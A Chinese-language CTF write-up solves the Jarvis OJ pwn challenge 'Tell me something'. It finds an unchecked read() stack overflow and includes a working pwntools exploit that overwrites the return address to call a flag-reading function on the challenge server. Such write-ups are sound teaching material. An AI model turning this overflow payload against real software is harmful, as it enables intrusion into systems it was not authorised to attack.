[Jarvisos]Tell me something
0x01
拿到题目首先检查一下是32位还是64位

64位程序,未开启canary栈保护
运行一下程序,检查一下程序的运行逻辑

提示—>输入—>输出
0x02
ida反编译一下,看一下代码逻辑是什么

发现read函数在向v6读入输入的时候没有判断v6接受参数的大小范围,而超出了v6所能接受的最大范围,存在溢出
到这里整体思路已经有了,就是利用这里的read函数的栈溢出进行漏洞利用
那么我这个时候首先是去找有没有system函数来调用shell,找了一圈发现没有,最终发现了一个有意思的函数

调用这个函数的时候,会直接对flag.txt进行读取,所以我们只需要将溢出后的地址覆盖到这里就行
0x03
exp:
from pwn import *
debug = 0
if debug == 1:
io = process("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
else:
io = remote("pwn.jarvisoj.com", 9876)
elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
good_game_addr = elf.symbols["good_game"]
io.recvline()
payload = b'a' * 0x88 + p64(good_game_addr)
io.sendline(payload)
io.interactive()
这里说一下踩到的坑,刚开始调试程序是在本地调试程序,发现一直不成功,后来发现其实这里得不到shell,而是直接读取的文件从而获得flag,所以这里程序要想本地调试成功,需要在当前目录下创建flag.txt文件才可以
[Jarvisos]Tell me something的更多相关文章
随机推荐
- WPF中的Data Binding调试指南
大家平时做WPF开发,相信用Visual studio的小伙伴比较多.XAML里面曾经在某些特殊版本的Visual Studio中是可以加断点进行调试的,不过目前多数版本都不支持在XAML加断点来调试 ...
- js基础练习题(1)
1.字符串 视频教程地址: js基础练习题 1.如何连接两个或者两个以上字符串? var cssname = 'box' var num = 1 var html = '<div class=& ...
- Nginx配置upstream实现负载均衡1
如果Nginx没有仅仅只能代理一台服务器的话,那它也不可能像今天这么火,Nginx可以配置代理多台服务器,当一台服务器宕机之后,仍能保持系统可用.具体配置过程如下: 1. 在http节点下,添加ups ...
- Python之浅谈运算符
目录 格式化输出的三种方式 第一种格式化方式(3.0) 第二种格式化方式(3.4) 第三种格式化方式(3.6) 基本运算符 逻辑运算符 相等运算符 比较运算符 算术运算符 位运算符 流程控制 if判断 ...
- node.js/npm升级正确操作(windows和linux均有)
原文地址:https://www.wjcms.net/archives/nodejsnpm升级正确操作windows和linux均有 今天我们总结一下node.js以及npm升级的正确操作方法. 小编 ...
- python 如何判断一组数据是否符合正态分布
正态分布: 若随机变量x服从有个数学期望为μ,方差为σ2 的正态分布,记为N(μ,σ) 其中期望值决定密度函数的位置,标准差决定分布的幅度,当υ=0,σ=0 时的正态分布是标准正态分布 判断方法有画图 ...
- vue页面数据强制更新渲染
vue数据更新会出现缓存的情况,几种方式可以让数据实时渲染到页面: 1.简单粗暴的方式 this.$forceUpdate();//强制更新 2.增减元素 splice() push() 3. ...
- 状压DP之排列perm
题目 [SCOI2007]排列 给一个数字串s和正整数d, 统计s有多少种不同的排列能被d整除(可以有前导0).例如123434有90种排列能被2整除,其中末位为2的有30种,末位为4的有60种. 输 ...
- OutOfMemory相关问题(内存溢出异常OOM)
OutOfMemory(内存溢出异常OOM) java.lang.OutOfMemoryError :Thrown when the Java Virtual Machine cannot alloc ...
- 小程序报错 parameter.content should be String instead of Undefined;
自己遇到了两种情况会导致这个问题 1.参数名写错未定义,然后赋值的时候值为undefined 2.服务端返回的值错误,返回的值为空,导致赋值时报错 解决方法: 1.检查参数名,如不是全局变量的应在da ...